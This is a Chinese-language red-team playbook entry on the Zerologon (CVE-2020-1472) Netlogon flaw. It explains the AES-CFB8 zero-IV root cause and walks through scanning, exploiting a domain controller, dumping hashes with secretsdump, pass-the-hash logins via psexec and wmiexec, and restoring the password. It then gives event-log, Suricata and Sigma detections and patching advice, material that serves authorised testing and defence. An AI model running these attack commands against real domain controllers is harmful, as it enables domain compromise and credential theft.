| name | exploiting-zerologon-vulnerability-cve-2020-1472 |
| description | 利用 Netlogon 远程协议中的 Zerologon 漏洞(CVE-2020-1472),通过将机器账户密码重置为空来实现域控制器入侵。 |
| domain | cybersecurity |
| subdomain | red-teaming |
| tags | ["zerologon","cve-2020-1472","netlogon","domain-controller","privilege-escalation","active-directory","ms-nrpc"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
利用 Zerologon 漏洞(CVE-2020-1472)
概述
Zerologon(CVE-2020-1472)是微软 Netlogon 远程协议(MS-NRPC)中的一个严重权限提升漏洞(CVSS 10.0)。该缺陷存在于 AES-CFB8 模式的密码学实现中,初始化向量(IV)被错误地设置为全零。这允许对域控制器拥有网络访问权限的未经认证的攻击者建立 Netlogon 会话,并将 DC 机器账户密码重置为空,从而实现完整的域入侵。微软于 2020 年 8 月修补了此漏洞(KB4571694)。
前置条件
- 到域控制器的网络访问(TCP 端口 135 和动态 RPC 端口)
- 无需认证(未认证漏洞利用)
- 目标 DC 不能启用 2021 年 2 月的强制模式
- 已安装 Impacket 工具包
- 红队演练书面授权
MITRE ATT&CK 映射
| 技术 ID | 名称 | 战术 |
|---|
| T1068 | 利用漏洞进行权限提升 | 权限提升 |
| T1210 | 利用远程服务 | 横向移动 |
| T1003.006 | 操作系统凭据转储:DCSync | 凭据访问 |
| T1078.002 | 有效账户:域账户 | 持久化 |
漏洞技术细节
根本原因
Netlogon 认证协议使用带有客户端质询和服务器质询的 AES-CFB8 加密。漏洞存在是因为:
- IV 被硬编码为16 字节零
- 当明文为8 字节零时,AES-CFB8 以1/256 的概率产生全零的密文
- 攻击者可以发送大约 256 次认证尝试(约需 3 秒)以成功
受影响系统
- Windows Server 2008 R2 到 Windows Server 2019
- 所有运行未打补丁 Netlogon 服务的域控制器
- Samba 版本 < 4.8(如果以 AD DC 身份运行)
步骤一:识别易受攻击的域控制器
nmap -p 135,139,389,445 -sV --script=ms-sql-info,smb-os-discovery 10.10.10.0/24
python3 zerologon_tester.py DC01 10.10.10.1
crackmapexec smb 10.10.10.1 -M zerologon
步骤二:利用 Zerologon
python3 cve_2020_1472.py DC01$ 10.10.10.1
步骤三:使用空密码执行 DCSync
secretsdump.py -no-pass -just-dc corp.local/DC01\$@10.10.10.1
secretsdump.py -no-pass corp.local/DC01\$@10.10.10.1 \
-just-dc-user Administrator
步骤四:获取域管理员访问权限
psexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \
corp.local/Administrator@10.10.10.1
wmiexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \
corp.local/Administrator@10.10.10.1
步骤五:恢复机器账户密码(关键)
警告:利用 Zerologon 后,DC 机器账户密码为空,这将破坏活动目录复制和服务。必须恢复密码。
python3 restorepassword.py corp.local/DC01@DC01 -target-ip 10.10.10.1 \
-hexpass <original_hex_password>
netdom resetpwd /server:DC01 /userd:CORP\Administrator /passwordd:*
检测
Windows 事件日志
事件 ID 4742: 计算机账户已更改
- 注意: DC$ 账户的密码更改
- 异常: 短时间内 DC$ 的多次 4742 事件
事件 ID 5805: Netlogon 认证失败
- 多次失败后成功 = Zerologon 尝试
事件 ID 4624(类型 3): 网络登录
- DC$ 账户从意外 IP 登录
网络检测
alert dcerpc any any -> any any (
msg:"ET EXPLOIT Possible Zerologon NetrServerReqChallenge";
flow:established,to_server;
dce_opnum:4;
content:"|00 00 00 00 00 00 00 00|";
sid:2030870;
rev:1;
)
Sigma 规则
title: Zerologon 利用尝试
status: stable
logsource:
product: windows
service: system
detection:
selection:
EventID: 5805
LogonType: 3
timeframe: 5m
condition: selection | count(EventID) > 100
level: critical
tags:
- attack.privilege_escalation
- attack.t1068
- cve.2020.1472
防御建议
- 立即应用补丁 - KB4571694(2020 年 8 月)并启用 2021 年 2 月的强制模式
- 通过注册表启用强制模式:
FullSecureChannelProtection = 1
- 监控事件 ID 5805 以查找重复的 Netlogon 失败
- 部署 Microsoft Defender for Identity(自动检测 Zerologon)
- 网络分段 - 限制从用户网络直接访问 DC
- 在可能的情况下,阻止来自非 DC 系统的 Netlogon RPC
参考资料